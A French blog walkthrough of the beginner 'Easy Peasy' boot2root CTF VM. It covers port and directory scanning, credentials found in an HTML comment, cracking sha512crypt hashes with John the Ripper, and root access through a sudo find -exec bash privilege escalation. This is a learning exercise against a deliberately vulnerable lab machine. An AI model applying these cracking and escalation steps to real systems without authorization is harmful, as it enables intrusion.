Easy Peasy
Je suis tombé récemment sur ce post sur le subreddit /r/SecurityCTF d’un certain iamv1nc3nt.
Il propose sur son site différents CTF sous la forme de VM au format OVA. J’ai pris le premier de la liste histoire d’essayer.
Je qualifierais le niveau du CTF de grand débutant, la description est d’ailleurs explicite :
This is an entry level boot2root system with a ton of hand holding.
On commence par le scan de ports classique mais avec les instructions que l’on va croiser on aurait tout simplement taper l’IP de la VM dans le navigateur.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ sudo nmap -sCV -T5 -p- 192.168.56.23
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-07 11:35 CET
Nmap scan report for 192.168.56.23
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 26:b6:0e:1b:43:5f:c6:17:05:8f:4f:72:17:f9:5a:72 (RSA)
| 256 3e:43:b8:15:17:d3:2b:5e:c6:66:e9:eb:6c:83:be:cc (ECDSA)
|_ 256 5b:4d:c0:8f:89:af:02:38:98:c4:83:7a:32:44:7c:f0 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: DokuWiki
| http-title: start [Snowtalks Easy]
|_Requested resource was http://192.168.56.23/doku.php
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:00:31:9B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On a ici un DokuWiki qui tourne. En regardant le code source de la page HTML je remarque ceci :
1
2
<!-- username: hacker -->
<!-- password: hacker123 -->
Ces identifiants permettent l’accès au wiki mais une fois sur le Media Manager on a le message Sorry, you don’t have enough rights to upload files.
Dans les pages existantes on trouve un article sur l’utilisation de fuzzers de style dirbuster ou gobuster. Il y a aussi une image uploadée correspondant à un GTFObin pour la commande find.
En toute logique je lance feroxbuster sur le site :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
$ feroxbuster -u http://192.168.56.23/ -w /tools/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.23/
🚀 Threads │ 50
📖 Wordlist │ /tools/fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 9l 28w 278c http://192.168.56.23/bin
403 9l 28w 278c http://192.168.56.23/data
301 9l 28w 312c http://192.168.56.23/lib
403 9l 28w 278c http://192.168.56.23/inc
200 91l 294w 2030c http://192.168.56.23/users
403 9l 28w 278c http://192.168.56.23/conf
403 9l 28w 278c http://192.168.56.23/README
403 9l 28w 278c http://192.168.56.23/vendor
403 9l 28w 278c http://192.168.56.23/VERSION
403 9l 28w 278c http://192.168.56.23/server-status
302 0l 0w 0c http://192.168.56.23/
403 9l 28w 278c http://192.168.56.23/_html
403 9l 28w 278c http://192.168.56.23/_htaccess
403 9l 28w 278c http://192.168.56.23/COPYING
403 9l 28w 278c http://192.168.56.23/_htc
403 9l 28w 278c http://192.168.56.23/_htmleditor
[####################] - 21s 62260/62260 0s found:16 errors:0
Je ne suis pas un expert DokuWiki donc aucune URL ne me paraissait particulièrement anormale. J’ai tout de même accédé en premier à l’URL /users qui retournait un code 200.
Je ne met pas l’ensemble du texte trouvé mais voici le principal :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
---------------------------------------------------
Before I forget, I've created the following user:
cypher:$6$oRt1RjppBhbT6LBv$B0Ium534jtFICuP6rR8lxNydTUUKCs/nq3J1BACCc/v/Mfmbd4nGZTM7Ew1wT/75f/TIQpJAjaNNUjDdD5dTu1:18991:0:99999:7:::
---------------------------------------------------
--- snip ---
Once you crack the hash, login to the server using:
ssh cyppher@[ IP ADDRESS OF YOUR SERVER ]
For example: ssh cypher@192.168.99.100
When prompted, enter the password and read the README file.
--- snip ---
Le texte proposait d’utilisait hashcat mais ça marche bien sûr tout aussi bien avec John The Ripper pour un mot de passe aussi faible :
1
2
3
4
5
6
7
8
9
10
$ john --wordlist=/tools/wordlists/rockyou.txt /tmp/hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
iloveyou (cypher)
1g 0:00:00:00 DONE (2022-02-07 11:47) 3.846g/s 984.6p/s 984.6c/s 984.6C/s sokar..celtic
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
On trouve une fois connecté un fichier encodé en base64 :
1
2
3
4
5
6
7
8
cypher@easy-vm:~$ cat base64what | base64 -d
neo:$6$hgNhPDuhnI2CLzVy$4PYhoCGT24G5DhJT3OCG/7CxXXZ15gLtoSqwt4h5HAATzq4QjXDbrkmzymm/2otJmwFTl9N8ruDQiC2BQKQiy/:18991:0:99999:7:::
We learn through repition. Crack this hash, logout, and login as the user: neo
When you get logged in, there's another README in the home directory.
As another side project, you could Google: "How to switch users Linux command line".
Je casse de la même façon le hash qui donne le mot de passe password123.
chmod FTW
Un nouveau README à cette étape, là encore ça s’adresse plus aux débutants Linux :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
Welcome to the real world, Neo.
In the home directory, there's a file: trinity-key
This is a two part problem.
Problem # 1, you can't read the file.
When we look at the directory, isolating the two files, we see:
-rw-rw-r-- 1 neo neo 153 Dec 30 18:45 README
---------- 1 neo neo 3518 Dec 30 18:43 trinity-key
--- snip ---
Ce fichier, une fois les permissions corrigées, contient une clé privée SSH encodée en base64.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
neo@easy-vm:~$ chmod 600 trinity-key
neo@easy-vm:~$ base64 -d trinity-key > id_rsa
neo@easy-vm:~$ chmod 600 id_rsa
neo@easy-vm:~$ ssh -i id_rsa trinity@127.0.0.1
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 07 Feb 2022 10:53:28 AM UTC
System load: 0.03 Processes: 134
Usage of /: 50.8% of 8.79GB Users logged in: 1
Memory usage: 13% IPv4 address for enp0s3: 192.168.56.23
Swap usage: 0%
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Dec 30 23:52:06 2021 from 192.168.86.130
trinity@easy-vm:~$ id
uid=1001(trinity) gid=1001(trinity) groups=1001(trinity)
Finalement on en vient à l’indice du début :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
trinity@easy-vm:~$ sudo -l
Matching Defaults entries for trinity on easy-vm:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User trinity may run the following commands on easy-vm:
(ALL) NOPASSWD: /usr/bin/find
trinity@easy-vm:~$ sudo /usr/bin/find README -exec bash -p \;
root@easy-vm:/home/trinity# id
uid=0(root) gid=0(root) groups=0(root)
root@easy-vm:/home/trinity# cd /root/
root@easy-vm:~# ls
root.txt snap
root@easy-vm:~# cat root.txt
_________ __ .__ __ _______________ ________ ____
/ _____/ ____ ______ _ ___/ |______ | | | | __ ______ \_____ \ _ \ \_____ \/_ |
\_____ \ / \ / _ \ \/ \/ /\ __\__ \ | | | |/ / / ___/ / ____/ /_\ \ / ____/ | |
/ \ | ( <_> ) / | | / __ \| |_| < \___ \ / \ \_/ \/ \ | |
/_______ /___| /\____/ \/\_/ |__| (____ /____/__|_ \/____ > \_______ \_____ /\_______ \|___|
\/ \/ \/ \/ \/ \/ \/ \/
___________ __________ __________ __ .___
\_ _____/____ _________.__. \______ \ _______ ___ \______ \ ____ _____/ |_ ____ __| _/
| __)_\__ \ / ___< | | | | _// _ \ \/ / | _// _ \ / _ \ __\/ __ \ / __ |
| \/ __ \_\___ \ \___ | | | ( <_> > < | | ( <_> | <_> ) | \ ___// /_/ |
/_______ (____ /____ >/ ____| |______ /\____/__/\_ \ |____|_ /\____/ \____/|__| \___ >____ |
\/ \/ \/ \/ \/ \/ \/ \/ \/
I hope you enjoyed this box.
Twitter: @iamv1nc3nt
Trop guidé pour moi mais bien adapté pour les débutants.
Published February 07 2022 at 12:22